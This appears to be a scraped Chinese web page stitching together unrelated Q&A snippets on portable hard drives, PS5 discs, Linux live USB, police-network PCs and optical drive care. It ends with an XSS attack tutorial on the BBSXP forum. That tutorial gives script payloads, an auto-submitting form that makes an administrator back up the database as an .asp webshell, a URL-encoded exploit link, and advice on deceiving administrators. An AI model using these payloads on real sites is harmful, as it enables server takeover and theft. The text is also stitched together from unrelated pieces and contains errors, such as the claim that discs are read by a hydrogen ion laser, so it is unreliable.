移动硬盘顾名思义是以硬盘为存储介制，强调便携性的存储产品。目前市场上绝大多数的移动硬盘都是以标准硬盘为基础的，而只有很少部分的是以微型硬盘（1.8英寸硬盘等），但价格因素决定着主流移动硬盘还是以标准笔记本硬盘为基础。因为采用硬盘为存储介制，因此移动硬盘在数据的读写模式与标准IDE硬盘是相同的。移动硬盘多采用USB、IEEE1394等传输速度较快的接口，可以较高的速度与系统进行数据传输。

移动硬盘的特点：

容量大

移动硬盘可以提供相当大的存储容量，是种较具性价比的移动存储产品。在目前大容量“闪盘”价格，还无法被用户所接受，而移动硬盘能在用户可以接受的价格范围内，提供给用户较大的存储容量和不错的便携性。目前市场中的移动硬盘能提供10GB、20GB、40GB等容量，一定程度上满足了用户的需求。

传输速度

移动硬盘大多采用USB、IEEE1394接口，能提供较高的数据传输速度。不过移动硬盘的数据传输速度还一定程度上受到接口速度的限制，尤其在USB1.1接口规范的产品上，在传输较大数据量时，将考验用户的耐心。而USB2.0和IEEE1394接口就相对好很多。

使用方便

现在的PC基本都配备了USB功能，主板通常可以提供2～8个USB口，一些显示器也会提供了USB转接器，USB接口已成为个人电脑中的必备接口。USB设备在大多数版本的WINDOWS操作系统中，都可以不需要安装驱动程序，具有真正的“即插即用”特性，使用起来灵活方便。

PS5插入光盘能立刻玩吗

是的，每款游戏都不一样呢。

根据PS5贴吧传闻的小道消息，索尼国行PS5将于2020年12月18日发布会时同步开启网上预订，先上市的国行PS5主机暂时只有光驱版，可以玩全区版本的光盘游戏，而国行PS5数字版主机不会晚于2021年农历春节前发布，PS5的游戏光盘不是插入后就直接玩的，

光盘提供的只是一个安装包，玩家在玩的时候需要先将光盘插入PS5中安装游戏，第一次使用光盘，安装的时间很长。

届时国行主机上市时将同步推出第三方制作的3部蓝光4K电影。此外微软XSX国行主机发布时间将略早于PS5，XSS也没有出现在国行首发阵容中

PS5的游戏光盘不是插入后就直接玩的，

光盘提供的只是一个安装包，玩家在玩的时候需要先将光盘插入PS5中安装游戏，第一次使用光盘，安装的时间很长。然后第二次使用的时候，这个光盘相当于一个密匙，然后作为验证的时候使用，

因此需要玩家继续插入光盘，当你未插入光盘，虽然机器里面有这个游戏但是无法运行。

需用光盘吗

linux系统不一定必须要光盘，U盘也行，fedora的linux系统可以下载'live-usb-creater',该工具可以把u盘自动做成fedora系统的liveusb，而且u盘不需任何处理，fedora的系统是600M左右，做成liveusb后，u盘如果还有剩余空间，就还可以正常使用剩余的空间，使用时，开机前把u盘插入电脑usb接口，然后在bios中选择从u盘启动即可进入系统，如果你不常用linux系统，那么用liveusb系统即可，如果要常用linux系统，那么在进入liveusb系统后，左边有一个选项‘安装到硬盘’，点击该选项即可安装fedora系统

希望能解决您的问题。

公安网电脑可以用光盘吗

不行，公安网使用光盘和U盘等东西的时候都是外网。

光盘是以光信息做为存储的载体并用来存储数据的一种物品。分不可擦写光盘，如CD-ROM、DVD-ROM等；和可擦写光盘，如CD-RW、DVD-RAM等。

光盘是利用激光原理进行读、写的设备，是迅速发展的一种辅助存储器，可以存放各种文字、声音、图形、图像和动画等多媒体数字信息。

光盘定义：即高密度光盘（Compact Disc）是近代发展起来不同于完全磁性载体的光学存储介质（例如：磁光盘也是光盘），用聚焦的氢离子激光束处理记录介质的方法存储和再生信息，又称激光光盘。

光驱还能放光盘使用吗？

肯定是害处的。我找了专门养护光驱的文章，希望对你有帮助。nbsp;一台光驱质量下降的决定因素取决于这台光驱经常都读什么样的光盘。质量不好的光盘，如盘片变形、表面严重划伤、污染以及盗版光盘等，在光驱内进行读取时，光学拾取头的物镜将不断地上下跳动和左右摆动，以保证激光束在高低不平和左右偏摆的信息轨迹上实现正确聚集和寻道，加重了系统的负担，加快了机械磨损。同时，为了减少光驱的磨损，延长光驱的使用寿命，不要经常用光驱来长时间播放VCD影碟，因为这样，电机与激光头就增加了工作时间，从而缩短了光驱的使用寿命。另外在关机时，如果劣质光盘留在离激光头很近的地方，那当电机转起来后很容易划伤光头。nbsp;在实际使用光驱的过程中，如果由于不慎，例如病毒发作或者加载了某些实模式驱动程序等，光驱就有可能工作在MS－DOS兼容模式下，以致严重影响了两者的读写速度，此时就要设法恢复它们的32位工作模式。具体操作方法是：首先打开Config.sys文件，并删除其中的实模式驱动程序，然后打开“控制面板”窗口，在该窗口中依次单击“系统”/“性能”/“文件系统”/“疑难解答”，检查一下是否选取了“禁用32位保护模式的磁盘驱动程序”复选框。如果已经选取，取消它即可恢复32位工作模式；如果没有选取，则说明系统中的32位光驱驱动程序已经丢失或出现故障。这时我们可以在“控制面板”中，单击“系统”/“设备管理器”/“系统设备”/“即插即用BIOS”，选取“删除”按钮，并选择重新启动计算机。然后系统将自动运行“添加新硬件向导”，并重新为检测到的光驱安装驱动程序，从而可以恢复光驱的32位工作模式。nbsp;光驱出现读盘速度变慢或不读盘的故障，主要是激光头出现问题所致。除了激光头自身寿命有限的原因外，无孔不入的灰尘也是影响激光头寿命的主要因素。灰尘不仅影响激光头的读盘质量和寿命，还会影响光驱内部各机械部件的精度。所以保持光驱的清洁显得尤为重要。首先要尽可能保持室内的清洁，减少灰尘。接着要经常清洁光驱内部组件和激光头。对于光驱的机械部件一般使用棉签擦拭即可，而激光头的清洁有很高的危险性，稍不留意就会造成激光头的损坏，所以如果光驱在保修期内最好交由经销商处理。如果过了保修期也要找个有过拆卸光驱经验的人来指导。另外清洁激光头不能使用酒精和其他清洁剂，可以使用气囊对准激光头吹掉灰尘。nbsp;由于光驱在工作的过程中会产生相当的热量，如果散热不良，轻则阅读数据失败，重则机器会损伤，因此我们要把光驱放在一个通风良好的地方，来保持它具有良好的散热性，以便保证读取数据的成功率。nbsp;6、在工作中不能移动光驱nbsp;光驱是一种高精设备，工作时激光头在盘片表面的浮动高度只有几微米。当光驱处于读写状态时，一旦发生较大的震动，就可能造成激光头与盘片的撞击，导致损坏。所以不要搬动运行中的光驱。在光驱的安装、拆卸过程中应多加小心，光驱移动、运输时严禁磕碰，最好用泡沫或海绵包装保护一下，尽量减少震动。nbsp;7、对光驱操作的动作要轻nbsp;光驱的托盘托架机构非常单薄，因此在托盘上存取盘片时要小心，不能用力向下压盘，也不能用异物碰撞弹出的托架，否则托架会变形或断裂。在将托架缩回光驱内部时，一定要通过按键或命令由控制电路自动将托架收回，而不应用手强行将托架推回光驱内，以防托架机械损坏和内部装盘机构电气失灵。nbsp;8、设置缓存来提高光驱的读写速度nbsp;在每个光驱的外壳上可能都会标有倍速这个指标，但这个速度通常表示光驱在理想状况下可能达到的最大速度，而在实际的使用的过程中，光驱的读写速度可能还会受到电脑本身运行速度的制约。为此，我们只有通过对电脑的合理设置，来尽量使光驱达到理想值。其实，在这里我们可以通过设置缓存，来提高光驱的运行速度。通常光驱的缓存是厂家在生产的时候，就在光驱内部建立的“硬”缓存。但我们可以通过相关的光驱优化软件以及提速软件，来设法加大光驱的Cache提高数据传输效率。此外大家还可以在控制面板中的设备项里，把光驱的DMA打开这样光驱的速度就会加快。如果光驱带有厂家制作的专门驱动程序，那么最好给你的光驱安装上。nbsp;9、给光驱一个合适的“工作环境”nbsp;由于光驱是一种比较娇气的电子设备，它怕剧烈震动、怕发热、怕灰尘以及静电，因此我们如果想要延长光驱的使用寿命，就应该让光驱处于一个合适的“工作环境”之中。首先我们在安装光驱时，尽量让光驱

什么是XSS攻击

什么是XSS攻击XSS又叫CSS (Cross Site Script) ，跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码，当用户浏览该页之时，嵌入其中Web里面的html代码会被执行，从而达到恶意攻击用户的特殊目的。XSS属于被动式的攻击，因为其被动且不好利用，所以许多人常忽略其危害性。而本文主要讲的是利用XSS得到目标服务器的shell。技术虽然是老技术，但是其思路希望对大家有帮助。 [编辑本段]如何寻找XSS漏洞就个人而言，我把XSS攻击分成两类，一类是来自内部的攻击，主要指的是利用程序自身的漏洞，构造跨站语句，如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击，主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点，我们自己构造一个有跨站漏洞的网页，然后构造跨站语句，通过结合其它技术，如社会工程学等，欺骗目标服务器的管理员打开。

然后利用下面的技术得到一个shell. [编辑本段]如何利用传统的跨站利用方式一般都是攻击者先构造一个跨站网页，然后在另一空间里放一个收集cookie的页面，接着结合其它技术让用户打开跨站页面以盗取用户的cookie，以便进一步的攻击。个人认为这种方式太过于落后，对于弊端大家可能都知道，因为即便你收集到了cookie你也未必能进一步渗透进去，多数的cookie里面的密码都是经过加密的，如果想要cookie欺骗的话，同样也要受到其它的条件的限约。而本文提出的另一种思路，则从一定程度上解决上述的问题。对于个人而言，比较成熟的方法是通过跨站构造一个表单，表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。 [编辑本段]来自内部的跨站攻击寻找跨站漏洞

如果有代码的话比较好办，我们主要看代码里对用户输入的地方和变量有没有做长度和对”〈”,”〉”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合，像测试QQ群跨站漏洞的时候，你在标题处输入〈script〉alert(‘test’)〈/script〉，代码是不会被执行的，因为在源代码里，有其它的标签未闭合，如少了一个〈/script〉，这个时候，你只要闭合一个〈/script〉，代码就会执行，如：你在标题处输入〈/script〉〈script〉alert(‘test’)〈/script〉，这样就可以弹出一个test的框。

如何利用

我先以BBSXP为例，过程已做成动画，详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例.

a.先注册一个普通用户，我这里注册的用户是linzi.然后我们在个人签名里写入:

c.然后发个贴子，可以结合其它技术欺骗管理员浏览发的贴子。

d.因为是测试，所以我们以管理员身份登陆，然后打开贴子，我们会发现，linzi已经变成了社区区长工，如图一所示

除此之外我们只要在个人签名里输入

同样发个贴子等，只要管理员打开了，就会加了一个扩展名为asp （有空格）的上传扩展，这个时候，你只要上传一个newmm.asp (有空格)就可以得到一个shell.

上面的攻击多多少少有点局限性，虽然可以得到shell，但是隐蔽性不太好，因为签名

处受到了长度的限制，不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的

攻击，对于flash木马的制作，下面见哥们丰初的介绍。

再利用如下:

修改一下个人头像的url,输入代码如下:

再接着欺骗管理员打开你的资料或者浏览你的贴子，当管理员打开后，会在后台自动加个php扩展名的后辍，因为bbsxp在个人头像url里过滤了空格,%，所以我们只能加个不包括空格的其它扩展，当然你也可以加个shtml的扩展，有了它你就可以用来查看源代码，然后进一步攻击。 [编辑本段]来自外部的跨站攻击有的时候，当我们对于目标程序找不到可以利用的跨站点，这个时候我们可以利用可以从外部入手，利用我们要拿下的是它的论坛，论坛的安全性做的很好，但其留言板却存在跨站漏洞，这个时候我们可以在留言板里写入跨站语句，跨站语句为以表单的方式向论坛提交提升权限的语句，如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。

例:先上传一个文件linzi.txt，内容如下:

〈body onload="javascript:document.forms[0].submit()"〉〈form

action=" http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post"〉〈input value="database/bbsxp.mdb" name="yl" 〉〈input value="database/shit.asp" name="bf" 〉〈/body〉〈/html〉

上面的代码是把论坛的数据库备份为shit.asp，留言板存在跨站点如下:

http://127.0.0.1/bbsxp/page2.asp?username=

我们构造备份跨站语句如下:

http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E

或者构造跨站语句，利用iframe打开一个0大小的linzi.txt。

当管理员打开后，会自动备份得到一个shell. [编辑本段]XSS与其它技术的结合从上面的实例，我们可以知道，如何欺骗管理打开是一个很重要的步骤，对于欺骗打开，除了社会工程学外，我们可以结合其它的技术，如sql injection.当我们渗透一个网站之时，主站mssql注入漏洞，权限为public,这个时候我们利用update构造跨站语句，如用iframe打开一个上面的备份得到shell的跨站语句等，同样，我们可以在社会工程学时，利用QQ的其它跨站漏洞等等。

总是对于欺骗也是一门艺术，具体怎么利用，大家就发挥自己的想象力吧！

好一个欺骗也是一门艺术，不管是在生活中还是在网络中。生活中难免有些事情不能讲真话，这时采用适当的方法使得我们的假话当作真话讲，这就靠欺骗的艺术了。